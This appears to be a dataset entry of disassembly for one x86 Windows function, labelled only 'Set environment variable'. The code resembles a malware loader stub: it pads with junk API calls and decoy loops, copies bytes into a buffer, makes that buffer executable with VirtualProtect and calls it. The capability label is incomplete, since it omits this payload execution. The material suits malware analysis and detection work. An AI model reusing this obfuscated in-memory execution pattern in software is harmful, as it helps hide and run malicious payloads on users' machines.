Function at 0x403c65
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x403a98
inc edi
cmp edi, 0x67d12
jl 0x403a7a
cmp dword [0x283e620], 0x93
jne 0x403b6c
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
call dword [sym.imp.USER32.dll_DrawMenuBar]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.ole32.dll_CoRegisterPSClsid]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthA]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push esi
call fcn.00404054
pop ecx
push esi
push esi
call fcn.004046bd
push esi
call fcn.004045b0
add esp, 0xc
push esi
push esi
call fcn.0040481d
push esi
push esi
call fcn.00404026
push esi
push esi
call fcn.004045df
add esp, 0x18
mov eax, dword [0x445c1c]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add dword [0x283e620], 0x1134b
push 0x4036f0
mov dword [0x283e624], eax
call ebx
push dword [0x283e620]
mov dword [0x283d7dc], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x283e620]
mov dword [0x283d274], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x1692e
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuBarInfo]
push esi
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x403bbc
cmp dword [0x283e620], esi
jbe 0x403c38
mov eax, dword [0x283e624]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x283d274]
mov byte [ecx + edi], al
cmp dword [0x283e620], 0x490
jne 0x403c2f
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
call ebx
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
inc edi
cmp edi, dword [0x283e620]
jb 0x403be5
xor edi, edi
mov eax, dword [0x283e620]
add eax, edi
cmp eax, 0x8d
jne 0x403c7a
push esi
lea eax, [ebp - 0x840]
push eax
push esi
push 0x40370c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
inc edi
cmp edi, 0x38681
jl 0x403c3a
call fcn.00403995
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x403ca8
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x116d5
mov eax, dword [ebp - 4]
add dword [0x283d274], eax
inc edi
cmp edi, 0x674bd
jl 0x403c8a
push 0x7b
pop edi
cmp dword [0x283e620], 0x86
jne 0x403cf7
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push esi
push dword [ebp - 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
dec edi
jne 0x403cb4
push 0x403714
call ebx
call dword [0x283d274]
pop edi
pop esi
pop ebx
leave
ret